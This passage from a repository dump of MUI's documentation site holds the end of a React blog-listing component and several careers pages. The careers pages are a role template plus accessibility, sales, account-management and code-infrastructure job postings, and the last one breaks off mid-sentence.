sx={{ display: 'flex', gap: 1, flexWrap: 'wrap' }}>\n                  {Object.keys(tagInfo).map((tag) => {\n                    const selected = !!selectedTags[tag];\n                    return (\n                      <Chip\n                        key={tag}\n                        variant={selected ? 'filled' : 'outlined'}\n                        color={selected ? 'primary' : undefined}\n                        {...(selected\n                          ? {\n                              label: tag,\n                              onDelete: () => {\n                                postListRef.current?.scrollIntoView();\n                                removeTag(tag);\n                              },\n                            }\n                          : {\n                              label: tag,\n                              onClick: () => {\n                                postListRef.current?.scrollIntoView();\n                                router.push(\n                                  {\n                                    query: {\n                                      ...router.query,\n                                      tags: tag,\n                                    },\n                                  },\n                                  undefined,\n                                  { shallow: true },\n                                );\n                              },\n                            })}\n                        size=\"small\"\n                      />\n                    );\n                  })}\n                </Box>\n              </Paper>\n              <Paper variant=\"outlined\">\n                <Typography\n                  component=\"h3\"\n                  variant=\"subtitle2\"\n                  gutterBottom\n                  sx={{ color: 'text.primary', fontWeight: 'semiBold' }}\n                >\n                  Want to hear more from us?\n                </Typography>\n                <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 2 }}>\n                  Get up to date with everything MUI-related through our social media:\n                </Typography>\n                <Box sx={{ display: 'flex', flexWrap: 'wrap', gap: 2, '* > svg': { mr: 1 } }}>\n                  <Link href=\"https://github.com/mui\" target=\"_blank\" sx={{ fontSize: 14 }}>\n                    <GitHubIcon fontSize=\"small\" />\n                    GitHub\n                  </Link>\n                  <Link href=\"https://x.com/MUI_hq\" target=\"_blank\" sx={{ fontSize: 14 }}>\n                    <XIcon fontSize=\"small\" />X\n                  </Link>\n                  <Link\n                    href=\"https://www.linkedin.com/company/mui/\"\n                    target=\"_blank\"\n                    sx={{ fontSize: 14 }}\n                  >\n                    <LinkedInIcon fontSize=\"small\" />\n                    LinkedIn\n                  </Link>\n                  <Link\n                    href=\"https://www.youtube.com/@MUI_hq\"\n                    target=\"_blank\"\n                    sx={{ fontSize: 14 }}\n                  >\n                    <YouTubeIcon fontSize=\"small\" />\n                    Youtube\n                  </Link>\n                </Box>\n              </Paper>\n            </Box>\n          </Box>\n          <div>\n            <Box component=\"ul\" sx={{ p: 0, m: 0 }}>\n              {displayedPosts.map((post) => (\n                <Box\n                  component=\"li\"\n                  key={post.slug}\n                  sx={{\n                    py: 2.5,\n                    display: 'flex',\n                    flexDirection: 'column',\n                    position: 'relative',\n                    '&:not(:last-of-type)': {\n                      borderBottom: '1px solid',\n                      borderColor: 'divider',\n                    },\n                  }}\n                >\n                  <PostPreview {...post} />\n                </Box>\n              ))}\n            </Box>\n            <Pagination\n              page={page + 1}\n              count={totalPage}\n              variant=\"outlined\"\n              shape=\"rounded\"\n              onChange={(_, value) => {\n                setPage(value - 1);\n                postListRef.current?.scrollIntoView();\n              }}\n              sx={{ mt: 1, mb: 4 }}\n            />\n          </div>\n        </Container>\n      </main>\n      <Divider />\n      <HeroEnd />\n      <Divider />\n      <AppFooter />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/careers/ROLE_TEMPLATE.md",
    "content": "# XXXXXX — YYYY\n\n<p class=\"description\">XXXXXX.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, operating mostly asynchronously.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Pigment CSS is a zero-runtime CSS-in-JS styling engine.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nXXXXXX\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nXXXXXX\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- XXXXXX\n- XXXXXX\n\n## Who we're looking for\n\n### Required\n\n- XXXXXX\n- XXXXXX\n\n### Nice to have (but not required)\n\n- XXXXXX\n- XXXXXX\n\n## Benefits and compensation\n\nWe offer competitive compensation commensurate with your experience level and location and are prepared to pay top market rates for someone who can clearly exceed the role's expectations.\nYou can find the other perks and benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/__ID__/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/accessibility-engineer.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/accessibility-engineer.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/accessibility-engineer.md",
    "content": "# Accessibility Engineer (future role)\n\n<p class=\"description\">You will become our go-to accessibility expert to ensure all products meet or exceed WCAG 2.1 level AA guidelines.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 40 people as of 2025, and we're growing steadily.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Joy UI is a sister library to Material UI that implements our own in-house Joy Design system.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe.\nThe majority of our work is asynchronous, and we rely on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nAccessibility is a strategic opportunity for MUI, across our products:\n\n1. We are building Base UI for the developers that are looking for a relatively lower-level API while keeping a strong baseline to build on top of that saves them time. For them, it's about having a better customizability experience (style & behavior). The most exigent users of Base UI, the ones that are spreading the viral growth of the product in the community, have strong a11y requirements. So we have to meet them for Base UI to be successful.\n2. Accessibility is mandated by law. For example, in the US, the Americans with Disabilities Act (ADA) is a US law enacted in 1990 to ensure people with disabilities are not discriminated against. In the EU, the European Accessibility Act (AEE) will soon be enacted. Our paid customers are increasingly asking about compliance with WCAG.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\nSo, by improving the accessibility of our components, you will help millions of end-users who use [the products built with our UI library](https://trends.builtwith.com/framework/Material-UI).\nYou will also be responsible to train the developers using MUI's products to a11y. For example, there might be an opportunity to create an ESLint plugin aware of Material UI APIs to catch a11y issues before they go to production.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Ensure the components are accessible.**\n  You will be the owner of the accessibility across all MUI products. First, you will be responsible to verify the level of accessibility the components comply with and then implementing improvements over time.\n- **Respond to issues related to accessibility.**\n  The users of our products create issues related to a11y. You will be responsible to unlock the community, either by providing best practices, guiding them to contribute a fix, or by directly fixing the issues reported.\n- **Intelligently apply accessibility testing tools**. You will use assistive technology and perform expert manual analysis of the MUI product lines.\n  Having a solid test framework that can help us make sure we stay compliant.\n- **Lead the accessibility training across the company.**\n  You will be the go-to person for anything related to accessibility. You will mentor other team members.\n\n## Who we're looking for\n\n### Required\n\n- **Strong grasp of accessibility techniques in web development** applying HTML5, CSS, ARIA, and JavaScript. You should have held a Front-end Engineer (or closely related) role in the past.\n- **A track record of accessibility experience with both consumer/enterprise products and assistive technologies, such as screen readers, eye control, and other accessibility technologies**.\n  If you've been the accessibility champ in a previous company, pushing towards making sure the user interfaces can be used by disabled people, we want you in our team!\n- **Hands-on knowledge of accessibility guidelines and standards** (such as Section 508, WCAG, and EN 301 549) as well as technologies (such as UI Automation, IAccessible, ARIA, and related accessibility APIs)\n  You would be the one who the team can go to with any a11y topics/questions.\n- **An advocate of continuous learning;** able to absorb and share new ideas, approaches, and techniques for achieving accessibility.\n  Continuous learning is one of the most important parts of this field.\n- **Experience with assistive technologies across multiple platforms**, including screen readers, magnification, and read-aloud tools.\n\n### Nice to have (but not required)\n\n- **Certification in accessibility**, such as Trusted Tester, CPACC (Certified Professional in Accessibility Core Competencies), WAS (Web Accessibility Specialist).\n  This would be a clear indication that you went deep into the accessibility topics.\n- **You've contributed to a design system before**.\n  You have worked on enterprise components in the past, maybe for internal use in your company.\n  You have built some features while making sure the accessibility was fully functional.\n\n## Benefits and compensation\n\nWe offer competitive compensation depending on the profile and location.\nWe're ready to pay top market rates for a person who can clearly exceed the role's expectations. Learn more about perks and benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/ebc6db2a-fda9-431e-b45a-692377ef74aa/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/account-executive.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/account-executive.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/account-executive.md",
    "content": "# Account Executive\n\n<p class=\"description\">You will be a key player in driving revenue growth and building strong customer relationships.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design. Today, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\n\nWe're a company of 35+ people as of early 2024, and we're growing.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain. Base UI is our headless component library, and Pigment CSS is a zero-runtime CSS-in-JS styling engine. We also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe. The majority of our work is asynchronous, and we rely on written communication to collaborate. We're radically transparent: nearly all of our work happens in public. Each contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nCurrently, 100% of MUI's sales are inbound, and MUI boasts an impressive existing client base, with millions of developers having already downloaded MUI.\n\nMUI now needs to recruit a Senior Account Executive who can lead the transition to outbound sales while also building and implementing sales processes and methodologies as the company expands.\n\nThis Senior Account Executive is not focused on aggressive hunting; instead, it is about being proactive in pursuing and creating deals and implementing sales frameworks with customers. This is a key hire for MUI because it involves collaborating with the leadership team to determine how sales can best support MUI.\n\nTo accelerate this growth, MUI needs to hire a Senior Account Executive, who, as MUI's first senior sales hire, will not only be responsible for selling MUI's products but will also primarily focus on defining, building, and implementing MUI's sales strategy and processes.\n\n### Why this is interesting\n\nAs MUI continues to grow, the Senior Account Executive will not only close inbound leads, but will also work closely with both MUI customers and the MUI leadership team to define and implement sales strategies that increase average customer spending, renewal rates, and total contract value.\n\n## The role\n\nThe Senior Account Executives aim will be towards implementing the strategies that lead to MUI's transition from a pure inbound sales business, into a hybrid inbound and outbound sales model.\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Hands-on Sales**.\n  Actively engage in the full sales cycle, from lead generation and qualification to closing deals and managing client relationships. Focus on selling our developer licenses for advanced UI components.\n- **Sales Strategy Development**.\n  Collaborate with leadership to define and implement a comprehensive sales strategy, including target market segmentation, pricing strategies, and sales processes.\n- **Sales Process Optimization**.\n  Continuously evaluate and improve our sales processes, leveraging best practices and data-driven insights to maximize efficiency and effectiveness.\n- **Sales Forecasting & Reporting**.\n  Develop accurate sales forecasts, track key performance indicators (KPIs), and provide regular reports on sales performance to leadership.\n- **Market Analysis**.\n  Stay informed about market trends, competitor activities, and customer needs to identify opportunities and refine our sales approach.\n\n## Who we're looking for\n\nAs our Senior Account Executive, you'll be a key player in our growth story. You'll be a hands-on sales contributor, closing deals and building relationships with key clients.\n\n### Required\n\n- To manage existing customers and qualify incoming leads with a focus on selling additional licenses, upselling/cross-selling, and increasing total contract value – building strong relationships with each customer.\n- The Senior Account Executive will manage key customers with large accounts, and scan existing smaller accounts to upsell into them. Essentially ensuring users are successful by explaining the benefits of the MUI products to them\n- MUI's typical customers are engineers, developers, Heads of Engineering Departments, CTOs, etc. The Senior Account Executive will need to develop an understanding of MUI's products to resonate with MUI's customers and will manage mid-market and enterprise sales cycles with multiple engagement points.\n- The Senior Account Executive will be in active communication with the customers leading them into the onboarding process, working closely with customer success.\n- MUI needs a Senior Account Executive who has sold either:\n  - UI interfaces/libraries and related technologies for front-end development\n  - API and other Developer products\n- The Senior Account Executive needs to have a track record of selling relevant tools and products to customers, with a history of success in upselling, cross-selling, increasing total contract values, and renewal rates of customers.\n- The Senior Account Executive will consult and advise MUI's customers and then report relevant information/feedback back to the MUI team regarding points such as features that clients have asked for more information regarding.\n- This will be the 1st Senior Account Executive hire for MUI. Therefore, this individual needs to be a self-starter, motivated, and able to work autonomously. Also, MUI is in the startup phase, not all processes will be defined, the Senior Account Executive needs to be comfortable working alone, and sometimes with activities that may extend outside of the job description.\n- While startup experience is preferred, but certainly not essential, a startup, entrepreneurial and self-motivating mindset is essential.\n- The Senior Account Executive needs to have the ambition to further learn and progress in their career, be open to communication, and be constantly interested in taking on further responsibilities.\n\n### Nice to have (but not required)\n\n- Existing network of contacts within the developer community.\n- Familiarity with Open Core business models.\n- Experience with sales automation tools.\n- Participation in developer communities or events.\n- A passion for cutting-edge technology and UI/UX.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/a0078669-159a-416e-9412-e0ea65e1664d/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/account-manager.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/account-manager.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/account-manager.md",
    "content": "# Account Manager\n\n<p class=\"description\">You will be working with our customers to ensure the successful renewal and retention of existing client contracts.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, we prefer asynchronous communication over meetings.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design. Today, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\n\nWe're a company of 35+ people as of early 2024, and we're growing.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain. Base UI is our headless component library, and Pigment CSS is a zero-runtime CSS-in-JS styling engine. We also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans the globe. The majority of our work is asynchronous, and we rely on written communication to collaborate. We're radically transparent: nearly all of our work happens in public. Each contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nCurrently, 100% of MUI's sales are inbound, and MUI boasts an impressive existing client base, with millions of developers having already downloaded MUI.\n\nTo accelerate this growth, MUI now needs to hire an Account Manager to manage existing customers and qualify incoming leads with a focus on selling additional licenses, upselling/cross-selling, and increasing total contract value – building strong relationships with each customer.\n\n### Why this is interesting\n\nAs MUI continues to grow, the Account Manager will not only close inbound leads, but will also work closely with both MUI customers and the MUI leadership team to define and implement sales strategies that increase average customer spending, renewal rates, and total contract value.\n\n## The role\n\nThe Account Managers will aim to support MUI's existing client base and work to increase the average customer lifetime value.\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Account Management & Growth**.\n  Develop and maintain strong relationships with key accounts, understanding their business goals and technical requirements. Identify opportunities to expand existing accounts through upselling and cross-selling.\n- **Sales Cycle Management**.\n  Manage the full sales cycle for assigned accounts, from lead qualification and product demonstrations to contract negotiation and closing.\n- **Solution Selling**.\n  Effectively communicate the value proposition of our UI components to technical and business stakeholders, demonstrating how our solutions address their specific needs.\n- **Technical Understanding**.\n  Develop a deep understanding of our product suite and the underlying technologies to effectively communicate with developers and technical decision-makers.\n- **Customer Advocacy**.\n  Act as a liaison between customers and internal teams, ensuring customer satisfaction and resolving any issues promptly.\n- **Sales Forecasting & Reporting**.\n  Maintain accurate sales forecasts and provide regular reports on account activity and sales performance.\n\n## Who we're looking for\n\nAs an Account Manager, you will be responsible for managing a portfolio of key accounts. You will act as a trusted advisor to our clients, understanding their needs, and providing tailored solutions that leverage our advanced UI components. You'll be a key contributor to our sales team's success, working closely with the Sales Team Lead and other team members.\n\n### Required\n\n- The Account Manager will manage key customers with large accounts, and scan existing smaller accounts to upsell into them. Essentially ensuring users are successful by explaining the benefits of the MUI products to them\n- The Account Manager will guide customers from MUI Pro to MUI Premium, upselling additional features on top of the Premium offering.\n- MUI's typical customers are engineers, developers, Heads of Engineering Departments, CTOs, etc. The Account Manager will need to develop an understanding of MUI's products to resonate with MUI's customers and will manage mid-market and enterprise sales cycles with multiple engagement points.\n- The Account Manager will be in active communication with customers leading them into the onboarding process and working closely with customer success.\n- Therefore, MUI needs an Account Manager who has sold either:\n  - UI interfaces/libraries and related technologies for front-end development\n  - API and other Developer products\n- The Account Manager needs to have a track record of selling relevant tools and products to customers, with a history of success in upselling, cross-selling, increasing total contract values, and renewal rates of customers.\n- The Account Manager will consult and advise MUI's customers and then report relevant information/feedback back to the MUI team regarding points such as features that clients have asked for more information regarding.\n- This will be the 1st Account Manager hire for MUI. Therefore, this individual needs to be a self-starter, motivated, and able to work autonomously. MUI is in the startup phase, not all processes will be defined, the Account Manager needs to be comfortable working alone, and sometimes with activities that may extend outside of the job description.\n- While startup experience is preferred, but certainly not essential, a startup, entrepreneurial and self-motivating mindset is essential.\n- The Account Manager must have strong interpersonal and presentation skills and be confident in their ability to learn and achieve.\n\n### Nice to have (but not required)\n\n- Existing network of contacts within the developer community.\n- Familiarity with Open Core business models.\n- Experience with sales automation tools.\n- Participation in developer communities or events.\n- A passion for cutting-edge technology and UI/UX.\n\n## Benefits and compensation\n\nCompetitive compensation depending on the profile and location.\nWe are ready to pay top market rates for a person who can clearly exceed the role's expectations.\nYou can find the other perks & benefits on the [careers](https://mui.com/careers/#perks-and-benefits) page.\n\n## How to apply\n\n[Apply now for this position 📮](https://jobs.ashbyhq.com/MUI/04091577-abf8-4654-bc15-929755de0170/application?utm_source=ZNRrPGBkqO)\n\nDon't meet every requirement?\nApply anyway!\nResearch shows that certain folks are less likely to apply for a role than others [unless they meet 100%](https://hbr.org/2014/08/why-women-dont-apply-for-jobs-unless-theyre-100-qualified) of the outlined qualifications.\nIf this role excites you, we want to hear from you.\nWe'd love for you to share the unique skills, passion, and experience you could bring to MUI.\n"
  },
  {
    "path": "docs/pages/careers/code-infra-engineer.js",
    "content": "import TopLayoutCareers from 'docs/src/modules/components/TopLayoutCareers';\nimport * as pageProps from 'docs/pages/careers/code-infra-engineer.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCareers {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/careers/code-infra-engineer.md",
    "content": "# Frontend Engineer — Code-infra\n\n<p class=\"description\">You will drive the development and maintenance of the infrastructure that powers all MUI products.</p>\n\n## Details of the role\n\n- **Location**: Remote (preference for UTC-6 to UTC+5).\n- **Type of work**: Full-time (contractor or employee [depending on circumstances](https://mui-org.notion.site/Hiring-FAQ-64763b756ae44c37b47b081f98915501#494af1f358794028beb4b7697b5d3102)).\n- **Level**: [IC4 or above](https://mui-org.notion.site/Leveling-at-MUI-5c30f9bfe65149d697f346447cef9db1).\n- We're a **remote** company, operating mostly asynchronously.\n\n## The company\n\nMUI's story began in 2014 with Material UI, the most successful React implementation of Google's Material Design.\nToday, Material UI stands as one of the most popular open-source libraries on GitHub and has paved the way for the fully-fledged startup known as MUI (founded in 2019), which now boasts an ever-expanding ecosystem of React UI products.\nWe're a company of 35+ people as of early 2024, and we're growing.\n\n## The products\n\nMUI is best known for our flagship product, Material UI—but this is just one of three core component libraries we maintain.\nBase UI is our headless component library, and Pigment CSS is a zero-runtime CSS-in-JS styling engine.\nWe also host Design Kits and pre-built Templates.\n\nBeyond the core libraries, MUI X offers advanced components like the Data Grid, Date and Time Pickers, and Charts, for more complex user interactions and data visualization needs.\n\nLearn more about MUI's products in this blog post: [An introduction to the MUI ecosystem](https://mui.com/blog/mui-product-comparison/).\n\n## The culture\n\nMUI is a fully remote company with a team that spans across the globe.\nThe majority of our work is asynchronous, and we rely mostly on written communication to collaborate.\nWe're radically transparent: nearly all of our work happens in public.\nEach contributor has the freedom to decide how and when they work, and that work is primarily self-directed: it's your responsibility to define and complete your own tasks in a timely manner.\n\nFor additional details about the culture, you can check our [careers](https://mui.com/careers/) and [about](https://mui.com/about/) pages and also our [public Handbook](https://mui-org.notion.site/Handbook-f086d47e10794d5e839aef9dc67f324b).\n\n## Why we're hiring\n\nOver the time, MUI expanded the product lines by adding more products.\nWe currently actively work across 5+ different repositories and need to maintain several documentation sites.\n\nWe want to build a team that will take care of the infrastructure that's needed to make the work across different repositories/docs experiences seamless.\nWe want to set up common utilities and set up best practices that all teams across the company can use.\n\nOverall, both our open-source community and our premium products are growing fast.\nWe need talented people to keep up with the demands of our exigent community!\n\n### Why this is interesting\n\nYou would be able to shape the infrastructure of one of the most visited repositories and documentation sites.\nThe impact of your work will not only improve the experience for the MUI team, but also for thousands of other open source contributors that contribute to our projects.\n\nOur products empower React developers to build awesome applications faster – we see millions of developers on MUI's docs every year, one million a month.\n\n## The role\n\n### Key responsibilities\n\nDepending on the day, you'll:\n\n- **Keep technical debt in check**. You will make sure we can keep shipping features at a reasonable pace.\n- **Find consensus**. In response to their needs, this role aligns the teams on \"one way\" of doing things and doing it well. You'll need to communicate clearly and openly. You'll be of service to the teams' DX needs.\n- **Be a solver**. You will dig deep into complex problems and find an appropriate path forward. Some focus on a given area for long periods, others bounce from hotspot to hotspot as guided by organizational leadership.\n- **Own infrastructure tasks**, like managing dependencies, analytics, TypeScript modules, and hosting, so product teams can stay focused on their primary responsibilities.\n- **Develop new features** that will enhance the way the libraries are showcased.\n\n### Tasks and initiatives you might take on\n\n- Responding to outages and failing CI.\n- Stabilizing and optimizing test infrastructure.\n- Optimizing and improving build tools, linting tools.\n- Improve packaging and publishing flow.\n- Enhance security of our documentation websites\n- Improve documentation performance\n- Migrate the docs platform to the Next.js App Router\n- Allow users to search the docs within a specific product scope\n- Design a distribution model for shared documentation infrastructure\n- Introduce a more scalable solution for hosting videos and images\n\n### The best parts of this job\n\n- **You'll be at the cutting edge of application development** — supporting one of the fastest-growing UI libraries on the market.\n- **You'll be part of an active, open, friendly community** of developers that are excited about building awesome applications.\n\n### The worst parts of this job\n\n- **Shifting context.**\n  You will necessarily have to shift context and dive into a different feature before the current one is done.\n  It may even be in an area of the codebase you're unfamiliar with or don't have a ton of understanding about.\n  It's fun, rewarding work, but it can be very challenging.\n- **We move quickly but don't sacrifice quality**.\n  We ship early, often, and quickly. You may not be initially comfortable with the cadence with which we ship high-quality features and improvements to end-users. By doing so, we sacrifice on solving each problem 100% in exchange for fast feedback. Solving 50-70% of the issue with quality should be enough for any given iteration. Our users quickly tell us when we haven't pushed a solution far enough.\n- **MUI has a large codebase**. You may bang your head against the wall at times and then write tests to assist the future you 😌.\n  The work you will be doing is somewhat unique. You probably have not had a similar role before.\n- **In open-source, you're faced with a non-stop stream of bug reports and support requests**. That means you need to develop an intuition for when to ignore something, and when to dig in further.\n\n## Who we're looking for\n\nWe're looking for someone with strong technical skills and experience in infrastructure-related work. More important than specific technical skills, though, is that you're a strong problem solver who loves to learn. Details matter to you.\n\n### Required\n\n- **Expertise in the modern JavaScript ecosystem**.\n  MUI's open-source projects are built on the shoulders of giants, making use of technologies such as latest ECMAScript, TypeScript, Node.js, React, Next.js, webpack, and Babel.\n- **A track record of demonstrating an eye for product and solving real-world user problems**. If you have a knack for solving problems at the root cause, shipping intuitive APIs, we want you on our team.\n- **Experience building and shipping production code in a team setting** with a passion for writing tested, performant, and high-quality code.\n- **Strong written and verbal communication skills**.\n  As part of the team, you'll interface both directly and indirectly with team members, and contribute to user documentation. Clear communication is fundamental in creating intuitive and compelling resources.\n- **Ability to dive into complex problems**.\n  You should be able to quickly assess, understand, and iterate upon aspects of our codebase.\n- **Ready and willing to ask and answer questions**.\n  If you're comfortable saying you're unsure, asking for help; but equally reaching out to assist others, you'll be an incredible addition to our team. We thrive because of continuous learning. First-time mistakes should be celebrated, not blamed.\n- **Avoid monolithic deliverables**.\n  You scope and stage your work into well-defined 